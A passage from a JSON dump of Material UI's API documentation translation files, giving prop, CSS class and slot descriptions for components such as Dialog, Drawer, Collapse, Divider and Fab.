  },\n    \"deleteIcon\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the deleteIcon element\"\n    },\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"filled\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"filled\\\"</code>\"\n    },\n    \"focusVisible\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"keyboard focused\"\n    },\n    \"icon\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the icon element\" },\n    \"outlined\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"outlined\\\"</code>\"\n    },\n    \"sizeMedium\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"medium\\\"</code>\"\n    },\n    \"sizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"small\\\"</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"label\": \"The component that renders the label.\",\n    \"root\": \"The component that renders the root.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/circular-progress/circular-progress.json",
    "content": "{\n  \"componentDescription\": \"## ARIA\\n\\nIf the progress bar is describing the loading progress of a particular region of a page,\\nyou should use `aria-describedby` to point to the progress bar, and set the `aria-busy`\\nattribute to `true` on that region until it has finished loading.\",\n  \"propDescriptions\": {\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"disableShrink\": {\n      \"description\": \"If <code>true</code>, the shrink animation is disabled. This only works if variant is <code>indeterminate</code>.\"\n    },\n    \"enableTrackSlot\": {\n      \"description\": \"If <code>true</code>, a track circle slot is mounted to show a subtle background for the progress. The <code>size</code> and <code>thickness</code> apply to the track slot to be consistent with the progress circle.\"\n    },\n    \"size\": {\n      \"description\": \"The size of the component. If using a number, the pixel unit is assumed. If using a string, you need to provide the CSS unit, for example &#39;3rem&#39;.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"thickness\": { \"description\": \"The thickness of the circle.\" },\n    \"value\": {\n      \"description\": \"The value of the progress indicator for the determinate variant. Value between 0 and 100.\"\n    },\n    \"variant\": {\n      \"description\": \"The variant to use. Use indeterminate when there is no progress value.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"circle\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the <code>circle</code> svg path\"\n    },\n    \"circleDisableShrink\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the <code>circle</code> svg path\",\n      \"conditions\": \"<code>disableShrink={true}</code>\"\n    },\n    \"colorPrimary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"primary\\\"</code>\"\n    },\n    \"colorSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"secondary\\\"</code>\"\n    },\n    \"determinate\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"determinate\\\"</code>\"\n    },\n    \"indeterminate\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"indeterminate\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"svg\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the svg element\" },\n    \"track\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the track slot\",\n      \"conditions\": \"<code>enableTrackSlot={true}</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/click-away-listener/click-away-listener.json",
    "content": "{\n  \"componentDescription\": \"Listen for click events that occur somewhere in the document, outside of the element itself.\\nFor instance, if you need to hide a menu when people click anywhere else on your page.\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The wrapped element.\", \"requiresRef\": true },\n    \"disableReactTree\": {\n      \"description\": \"If <code>true</code>, the React tree is ignored and only the DOM tree is considered. This prop changes how portaled elements are handled.\"\n    },\n    \"mouseEvent\": {\n      \"description\": \"The mouse event to listen to. You can disable the listener by providing <code>false</code>.\"\n    },\n    \"onClickAway\": {\n      \"description\": \"Callback fired when a &quot;click away&quot; event is detected.\"\n    },\n    \"touchEvent\": {\n      \"description\": \"The touch event to listen to. You can disable the listener by providing <code>false</code>.\"\n    }\n  },\n  \"classDescriptions\": {}\n}\n"
  },
  {
    "path": "docs/translations/api-docs/collapse/collapse.json",
    "content": "{\n  \"componentDescription\": \"The Collapse transition is used by the\\n[Vertical Stepper](/material-ui/react-stepper/#vertical-stepper) StepContent component.\\nIt uses [react-transition-group](https://github.com/reactjs/react-transition-group) internally.\",\n  \"propDescriptions\": {\n    \"addEndListener\": {\n      \"description\": \"Add a custom transition end trigger. Called with the transitioning DOM node and a done callback. Allows for more fine grained transition end logic. Note: Timeouts are still used as a fallback if provided.\"\n    },\n    \"children\": { \"description\": \"The content node to be collapsed.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"collapsedSize\": {\n      \"description\": \"The width (horizontal) or height (vertical) of the container when collapsed.\"\n    },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\",\n      \"requiresRef\": true\n    },\n    \"easing\": {\n      \"description\": \"The transition timing function. You may specify a single easing or a object containing enter and exit values.\"\n    },\n    \"in\": { \"description\": \"If <code>true</code>, the component will transition in.\" },\n    \"orientation\": { \"description\": \"The transition orientation.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"timeout\": {\n      \"description\": \"The duration for the transition, in milliseconds. You may specify a single timeout for all transitions, or individually with an object.<br>Set to &#39;auto&#39; to automatically calculate transition time based on height.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"entered\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the transition has entered\"\n    },\n    \"hidden\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the transition has exited and <code>collapsedSize</code> = 0px\"\n    },\n    \"horizontal\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>orientation=\\\"horizontal\\\"</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"root\": \"The component that renders the root.\",\n    \"wrapper\": \"The component that renders the wrapper.\",\n    \"wrapperInner\": \"The component that renders the inner wrapper.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/container/container.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"disableGutters\": {\n      \"description\": \"If <code>true</code>, the left and right padding is removed.\"\n    },\n    \"fixed\": {\n      \"description\": \"Set the max-width to match the min-width of the current breakpoint. This is useful if you&#39;d prefer to design for a fixed set of sizes instead of trying to accommodate a fully fluid viewport. It&#39;s fluid by default.\"\n    },\n    \"maxWidth\": {\n      \"description\": \"Determine the max-width of the container. The container width grows with the size of the screen. Set to <code>false</code> to disable <code>maxWidth</code>.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"disableGutters\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disableGutters={true}</code>\"\n    },\n    \"fixed\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>fixed={true}</code>\"\n    },\n    \"maxWidthLg\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>maxWidth=\\\"lg\\\"</code>\"\n    },\n    \"maxWidthMd\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>maxWidth=\\\"md\\\"</code>\"\n    },\n    \"maxWidthSm\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>maxWidth=\\\"sm\\\"</code>\"\n    },\n    \"maxWidthXl\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>maxWidth=\\\"xl\\\"</code>\"\n    },\n    \"maxWidthXs\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>maxWidth=\\\"xs\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/css-baseline/css-baseline.json",
    "content": "{\n  \"componentDescription\": \"Kickstart an elegant, consistent, and simple baseline to build upon.\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"You can wrap a node.\" },\n    \"enableColorScheme\": {\n      \"description\": \"Enable <code>color-scheme</code> CSS property to use <code>theme.palette.mode</code>. For more details, check out <a href=\\\"https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/color-scheme\\\">https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/color-scheme</a> For browser support, check out <a href=\\\"https://caniuse.com/?search=color-scheme\\\">https://caniuse.com/?search=color-scheme</a>\"\n    }\n  },\n  \"classDescriptions\": {}\n}\n"
  },
  {
    "path": "docs/translations/api-docs/dialog/dialog.json",
    "content": "{\n  \"componentDescription\": \"Dialogs are overlaid modal paper based components with a backdrop.\",\n  \"propDescriptions\": {\n    \"aria-describedby\": { \"description\": \"The id(s) of the element(s) that describe the dialog.\" },\n    \"aria-labelledby\": { \"description\": \"The id(s) of the element(s) that label the dialog.\" },\n    \"aria-modal\": {\n      \"description\": \"Informs assistive technologies that the element is modal. It&#39;s added on the element with role=&quot;dialog&quot;.\"\n    },\n    \"children\": { \"description\": \"Dialog children, usually the included sub-components.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"fullScreen\": { \"description\": \"If <code>true</code>, the dialog is full-screen.\" },\n    \"fullWidth\": {\n      \"description\": \"If <code>true</code>, the dialog stretches to <code>maxWidth</code>.<br>Notice that the dialog width grow is limited by the default margin.\"\n    },\n    \"maxWidth\": {\n      \"description\": \"Determine the max-width of the dialog. The dialog width grows with the size of the screen. Set to <code>false</code> to disable <code>maxWidth</code>.\"\n    },\n    \"onClose\": {\n      \"description\": \"Callback fired when the component requests to be closed.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" },\n        \"reason\": {\n          \"name\": \"reason\",\n          \"description\": \"Can be: <code>&quot;escapeKeyDown&quot;</code>, <code>&quot;backdropClick&quot;</code>.\"\n        }\n      }\n    },\n    \"open\": { \"description\": \"If <code>true</code>, the component is shown.\" },\n    \"PaperComponent\": { \"description\": \"The component used to render the body of the dialog.\" },\n    \"role\": {\n      \"description\": \"The ARIA role for the dialog element. The main dialog role is <code>dialog</code>, but <code>alertdialog</code> can be used if the content of the dialog requires immediate attention. See <a href=\\\"https://www.w3.org/TR/wai-aria-1.2/#dialog\\\">https://www.w3.org/TR/wai-aria-1.2/#dialog</a> and <a href=\\\"https://www.w3.org/TR/wai-aria-1.2/#alertdialog\\\">https://www.w3.org/TR/wai-aria-1.2/#alertdialog</a> for more details.\"\n    },\n    \"scroll\": { \"description\": \"Determine the container for scrolling the dialog.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"transitionDuration\": {\n      \"description\": \"The duration for the transition, in milliseconds. You may specify a single timeout for all transitions, or individually with an object.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"paperFullScreen\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the Paper component\",\n      \"conditions\": \"<code>fullScreen={true}</code>\"\n    },\n    \"paperFullWidth\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the Paper component\",\n      \"conditions\": \"<code>fullWidth={true}</code>\"\n    },\n    \"paperWidthFalse\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the Paper component\",\n      \"conditions\": \"<code>maxWidth=false</code>\"\n    },\n    \"paperWidthLg\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the Paper component\",\n      \"conditions\": \"<code>maxWidth=\\\"lg\\\"</code>\"\n    },\n    \"paperWidthMd\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the Paper component\",\n      \"conditions\": \"<code>maxWidth=\\\"md\\\"</code>\"\n    },\n    \"paperWidthSm\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the Paper component\",\n      \"conditions\": \"<code>maxWidth=\\\"sm\\\"</code>\"\n    },\n    \"paperWidthXl\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the Paper component\",\n      \"conditions\": \"<code>maxWidth=\\\"xl\\\"</code>\"\n    },\n    \"paperWidthXs\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the Paper component\",\n      \"conditions\": \"<code>maxWidth=\\\"xs\\\"</code>\"\n    },\n    \"scrollBody\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the container element\",\n      \"conditions\": \"<code>scroll=\\\"body\\\"</code>\"\n    },\n    \"scrollPaper\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the container element\",\n      \"conditions\": \"<code>scroll=\\\"paper\\\"</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"backdrop\": \"The component that renders the backdrop.\",\n    \"container\": \"The component that renders the container.\",\n    \"paper\": \"The component that renders the paper.\",\n    \"root\": \"The component that renders the root.\",\n    \"transition\": \"The component that renders the transition. <a href=\\\"/material-ui/transitions/#transitioncomponent-prop\\\">Follow this guide</a> to learn more about the requirements for this component.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/dialog-actions/dialog-actions.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"disableSpacing\": {\n      \"description\": \"If <code>true</code>, the actions do not have additional margin.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"spacing\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disableSpacing={true}</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/dialog-content/dialog-content.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"dividers\": { \"description\": \"Display the top and bottom dividers.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"dividers\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>dividers={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/dialog-content-text/dialog-content-text.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": { \"root\": { \"description\": \"Styles applied to the root element.\" } }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/dialog-title/dialog-title.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": { \"root\": { \"description\": \"Styles applied to the root element.\" } }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/divider/divider.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"absolute\": { \"description\": \"Absolutely position the element.\" },\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"flexItem\": {\n      \"description\": \"If <code>true</code>, a vertical divider will have the correct height when used in flex container. (By default, a vertical divider will have a calculated height of <code>0px</code> if it is the child of a flex container.)\"\n    },\n    \"orientation\": { \"description\": \"The component orientation.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"textAlign\": { \"description\": \"The text alignment.\" },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"absolute\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>absolute={true}</code>\"\n    },\n    \"flexItem\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>flexItem={true}</code>\"\n    },\n    \"fullWidth\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"fullWidth\\\"</code>\"\n    },\n    \"inset\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"inset\\\"</code>\"\n    },\n    \"middle\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"middle\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"textAlignLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>textAlign=\\\"left\\\" orientation=\\\"horizontal\\\"</code>\"\n    },\n    \"textAlignRight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>textAlign=\\\"right\\\" orientation=\\\"horizontal\\\"</code>\"\n    },\n    \"vertical\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>orientation=\\\"vertical\\\"</code>\"\n    },\n    \"withChildren\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"divider have text\"\n    },\n    \"wrapper\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the span children element\",\n      \"conditions\": \"<code>orientation=\\\"horizontal\\\"</code>\"\n    },\n    \"wrapperVertical\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the span children element\",\n      \"conditions\": \"<code>orientation=\\\"vertical\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/drawer/drawer.json",
    "content": "{\n  \"componentDescription\": \"The props of the [Modal](/material-ui/api/modal/) component are available\\nwhen `variant=\\\"temporary\\\"` is set.\",\n  \"propDescriptions\": {\n    \"anchor\": { \"description\": \"Side from which the drawer will appear.\" },\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"elevation\": { \"description\": \"The elevation of the drawer.\" },\n    \"hideBackdrop\": { \"description\": \"If <code>true</code>, the backdrop is not rendered.\" },\n    \"ModalProps\": {\n      \"description\": \"Props applied to the <a href=\\\"https://mui.com/material-ui/api/modal/\\\"><code>Modal</code></a> element.\"\n    },\n    \"onClose\": {\n      \"description\": \"Callback fired when the component requests to be closed. The <code>reason</code> parameter can optionally be used to control the response to <code>onClose</code>.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" },\n        \"reason\": {\n          \"name\": \"reason\",\n          \"description\": \"Can be: <code>&quot;escapeKeyDown&quot;</code>, <code>&quot;backdropClick&quot;</code>.\"\n        }\n      }\n    },\n    \"open\": { \"description\": \"If <code>true</code>, the component is shown.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"transitionDuration\": {\n      \"description\": \"The duration for the transition, in milliseconds. You may specify a single timeout for all transitions, or individually with an object.\"\n    },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"anchorBottom\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>anchor=\\\"bottom\\\"</code>\"\n    },\n    \"anchorLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>anchor=\\\"left\\\"</code>\"\n    },\n    \"anchorRight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>anchor=\\\"right\\\"</code>\"\n    },\n    \"anchorTop\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>anchor=\\\"top\\\"</code>\"\n    },\n    \"modal\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the Modal component\" }\n  },\n  \"slotDescriptions\": {\n    \"backdrop\": \"The component used for the Modal backdrop.\",\n    \"docked\": \"The component used for the root element when the variant is <code>permanent</code> or <code>persistent</code>.\",\n    \"paper\": \"The component used for the paper.\",\n    \"root\": \"The component used for the root when the variant is <code>temporary</code>.\",\n    \"transition\": \"The component used for the transition. <a href=\\\"https://mui.com/material-ui/transitions/#transitioncomponent-prop\\\">Follow this guide</a> to learn more about the requirements for this component.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/fab/fab.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"disableFocusRipple\": {\n      \"description\": \"If <code>true</code>, the  keyboard focus ripple is disabled.\"\n    },\n    \"disableRipple\": { \"description\": \"If <code>true</code>, the ripple effect is disabled.\" },\n    \"href\": {\n      \"description\": \"The URL to link to when the button is clicked. If defined, an <code>a</code> element will be used as the root node.\"\n    },\n    \"size\": {\n      \"description\": \"The size of the component. <code>small</code> is equivalent to the dense button styling.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"circular\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"circular\\\"</code>\"\n    },\n    \"colorInherit\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"inherit\\\"</code>\"\n    },\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"extended\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"extended\\\"</code>\"\n    },\n    \"focusVisible\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the ButtonBase root element\",\n      \"conditions\": \"the button is keyboard focused\"\n    },\n    \"primary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"primary\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"secondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"secondary\\\"</code>\"\n    },\n    \"sizeMedium\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"medium\\\"</code>`\"\n    },\n    \"sizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"small\\\"</code>`\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/fade/fade.json",
    "content": "{\n  \"componentDescription\": \"The Fade transition is used by the [Modal](/material-ui/react-modal/) component.\\nIt uses [react-transition-group](https://github.com/reactjs/react-transition-group) internally.\",\n  \"propDescriptions\": {\n    \"addEndListener\": {\n      \"description\": \"Add a custom transition end trigger. Called with the transitioning DOM node and a done callback. Allows for more fine grained transition end logic. Note: Timeouts are still used as a fallback if provided.\"\n    },\n    \"appear\": {\n      \"description\": \"Perform the enter transition when it first mounts if <code>in</code> is also <code>true</code>. Set this to <code>false</code> to disable this behavior.\"\n    },\n    \"children\": { \"description\": \"A single child content element.\", \"requiresRef\": true },\n    \"easing\": {\n      \"description\": \"The transition timing function. You may specify a single easing or a object containing enter and exit values.\"\n    },\n    \"in\": { \"description\": \"If <code>true</code>, the component will transition in.\" },\n    \"timeout\": {\n      \"description\": \"The duration for the transition, in milliseconds. You may specify a single timeout for all transitions, or individually with an object.\"\n    }\n  },\n  \"classDescriptions\": {}\n}\n"
  },
  {
    "path": "docs/translations/api-docs/filled-input/filled-input.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"autoComplete\": {\n      \"description\": \"This prop helps users to fill forms faster, especially on mobile devices. The name can be confusing, as it&#39;s more like an autofill. You can learn more about it <a href=\\\"https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#autofill\\\">following the specification</a>.\"\n    },\n    \"autoFocus\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> element is focused during the first mount.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>. The prop defaults to the value (<code>&#39;primary&#39;</code>) inherited from the parent FormControl component.\"\n    },\n    \"defaultValue\": {\n      \"description\": \"The default value. Use when the component is not controlled.\"\n    },\n    \"disabled\": {\n      \"description\": \"If <code>true</code>, the component is disabled. The prop defaults to the value (<code>false</code>) 